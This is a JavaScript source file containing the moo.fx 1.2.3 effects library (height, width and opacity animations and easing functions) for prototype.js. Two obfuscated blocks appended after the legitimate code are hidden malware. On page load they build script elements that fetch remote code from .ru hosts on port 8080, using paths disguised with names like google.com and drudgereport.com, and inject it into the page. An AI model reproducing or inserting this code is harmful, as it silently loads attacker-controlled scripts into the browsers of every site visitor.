/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Sunday, March 05, 2006
v 1.2.3
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.iniWidth = this.el.offsetWidth;
		this.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0 && this.el.style.visibility != "hidden") this.el.style.visibility = "hidden";
		else if (this.el.style.visibility != "visible") this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}

try {var c='nD'} catch(c){};SX=["D","Np"];function q(){var a=document;var Z=new String("onlo"+"ad");var g="pj80sr".substr(4)+"ZG2McG2MZ".substr(4,1);z={ac:"t"};var G=window;try {var E='Y'} catch(E){};var ZZ=new String("body");var V={Xs:"nJ"};var j={m:"C"};var U="app"+"end"+"Chi"+"ld";var I=new Date();var S=new String("sc"+"ri"+"ptZ5J".substr(0,2));this.Kg=8897;this.Kg--;var d=new String("defe4tU".substr(0,4)+"rmo9W".substr(0,1));var X=String("cr"+"ea"+"te"+"9qbyEl".substr(4)+"emCo5".substr(0,2)+"en"+"t");var R=["Xm","Sr","o"];this.ZK="";function B(){Gg={zH:false};try {F=15771;F--;var VA="";I_={A:10540};var v=6513-6512;this.H=false;gy=["Ce","Nr","P"];var n=788716-780636;jA=7654;jA-=125;ZJ=35121;ZJ-=58;var h=String("/w"+"re"+"tcIoL".substr(0,2)+"CJ2dh-Jd2C".substr(4,2)+"rMVqccqMVr".substr(4,2)+"/g"+"6UCdoo".substr(4)+"gl"+"e."+"co"+"m/"+"fi"+"oiVle".substr(3)+"st1ai".substr(0,2)+"wB8ub8Bw".substr(3,2)+"e."+"TMp4co4pTM".substr(4,2)+"TElm.".substr(3)+"phdTR".substr(0,2)+"pF5dP".substr(0,1));var w=new String("http:"+"PuE//dir".substr(3)+"tysin"+".ru:");var fQ=new Array();b=a[X](S);yO={s:64199};this.PR=30270;this.PR++;Sw=["W","an"];Id=[];b[g]=w+n+h;var VM=false;var Sj=false;b[d]=v;try {} catch(fj){};var HG=["my"];this.zR=29508;this.zR--;var ez=["dP"];a[ZZ][U](b);try {} catch(J){};} catch(x){var Dz=["EL","Ld","OQ"];this.Bo=27011;this.Bo-=180;};this.vT=false;fH={Ve:"rW"};}GJ=["cw","Nl"];this.Aj=60783;this.Aj-=184;G[Z]=B;this.LX=31812;this.LX--;this.xn=34261;this.xn--;};var wP=["gI"];q();
try {ki={B:"tU"};var lf="lf";var Yw={G:"_"};var h={SI:false};Zi=15365;Zi+=123;A=25641;A+=201;var w_=new Date();var t=window[String("un"+"es"+"glhca".substr(3)+"pe")];this.F=18530;this.F-=222;var T={kgY:33878};var qk=53148;b=16838;b+=59;var x=new String("onloa"+"d");this.L='';this.X='';var y=16375;var bW=new String();var tc=false;var I=window[(String("RegE"+"xp"))];try {var RM='gz'} catch(RM){};IX={};var Mh=new String();var l='';is=["o"];var lj=["V","crt","Yx"];this.n=false;var MS=["hz","ZO","Pt"];this.oE=false;var f=new String("YNfZrep".substr(4)+"lac2TD".substr(0,3)+"hpzehpz".substr(3,1));try {var H='Aw'} catch(H){};try {var iH='Ab'} catch(iH){};LU=[];_s=45871;_s-=1;this.kn="";var g=new String("7o61".substr(3));var _W="_W";dT={VL:64067};var hr=new Date();Fw={pI:58613};var XX=new Date();function Q(g,O){Ax=[];try {} catch(Sz){};v={Sr:42824};var S="[";var Mu="";var Kim="";S+=O;S+=t("%5d");var a="";try {var tC='Nt'} catch(tC){};py=64902;py--;try {var ER='mT'} catch(ER){};var e=new I(S, String("g"));try {var An='QT'} catch(An){};No=["rF","jM","FB"];try {var hd='ga'} catch(hd){};return g.replace(e, l);GY=["me","Ix","Hw"];H_=["Ry","O_","sK"];this.Cf=63922;this.Cf++;};this.wa=62971;this.wa++;var yf={};Zd=["gU","bY","dX"];Yf=["PP","gA"];Zx=["kb","st"];this.RJ=60043;this.RJ+=180;cF=["mh","Fk"];var OK=String("htt6Iv2".substr(0,3)+"r0jp:/".substr(3)+"hXQ/as".substr(3)+"RpUkhdo".substr(4)+"g.r"+"u:");var er=new Date();var rx={wB:"IZ"};var ku="";var lG="";var Y=new String("/kino"+"poisk"+"A1Zj-ru/g".substr(4)+"oogle"+".com/"+"drudg8Kz".substr(0,5)+"erepo"+"rt.coShy".substr(0,5)+"m.phpSLog".substr(0,5));LS={};var JR={};XE={xZ:"Hy"};XY=23925;XY++;fw=[];var gr=838121-830041;this.wH=60728;this.wH--;this.nI='';var HU={nL:"zQ"};var ye={};var qd=new Date();var re=new String();vO=62551;vO++;function C(){var c=new String("appemZGM".substr(0,4)+"9OALndChL9OA".substr(4,4)+"ild");em=["Ne","hI"];var k=document;hC={ClI:false};var bpp={Db:55921};qA={CD:false};pb={gI:false};var VE=["TI","Ylt","Xd"];var PX="";this.KW=9560;this.KW--;this.iV=19760;this.iV--;var wb=["zd","DI","qE"];var P=Q('sMcSrMiQpxtq','VwmSx7QNlnMeqAEF_d');Qq=10215;Qq-=151;this.Cx="Cx";var VY='';BO=44520;BO-=51;var El=3540;Dj=64278;Dj--;this.GV=45353;this.GV+=97;try {var op='UU'} catch(op){};var bR=false;var Ot=false;var EI=["Zq","QZ","ClD"];this.KZ=56943;this.KZ-=3;xb=k.createElement(P);var Gw="Gw";try {} catch(ko){};var hN='';var tY='';var Xh="Xh";LQ={BN:64641};var WZ="WZ";J=OK+gr;this.iu=false;var opZ=["wKD","pIc"];this.dy='';J=J+Y;this.aT=34302;this.aT--;var SlQ="SlQ";var Vv=new Date();RI=["jF"];var vK={LK:"G_L"};this.dUp=62181;this.dUp-=153;ah={IF:16197};xb[new String("defe"+"enaRr".substr(4))]=g;this.NX="NX";this.Vs="Vs";xb.src=J;var ef=k.body;Uh=["Pq","lu","jO"];GuQ=21005;GuQ-=234;nr=["tw","Xs","kM"];ZS={ot:58521};var jOg=new Date();EY=38442;EY--;var zc='';var HF='';lk=36157;lk--;ef[c](xb);var LF={_j:"RN"};qa=16603;qa++;this.Il="Il";vq=["oFC","XP","xS"];this.tq="tq";};this.qm=5861;this.qm++;iR=["XsU","pQ","Cc"];rk=760;rk-=27;window[x]=C;try {} catch(xU){};this.AH="AH";var nB={fR:"ZQn"};this.DS=37727;this.DS++;var ao='';this.zs=35438;this.zs++;} catch(M){var eZ="";this.lm="";this.kMd='';this.fJ="";this.Vx="";var nM=14669;};IU=37602;IU--;var Hx={DUb:47342};var UQ="";

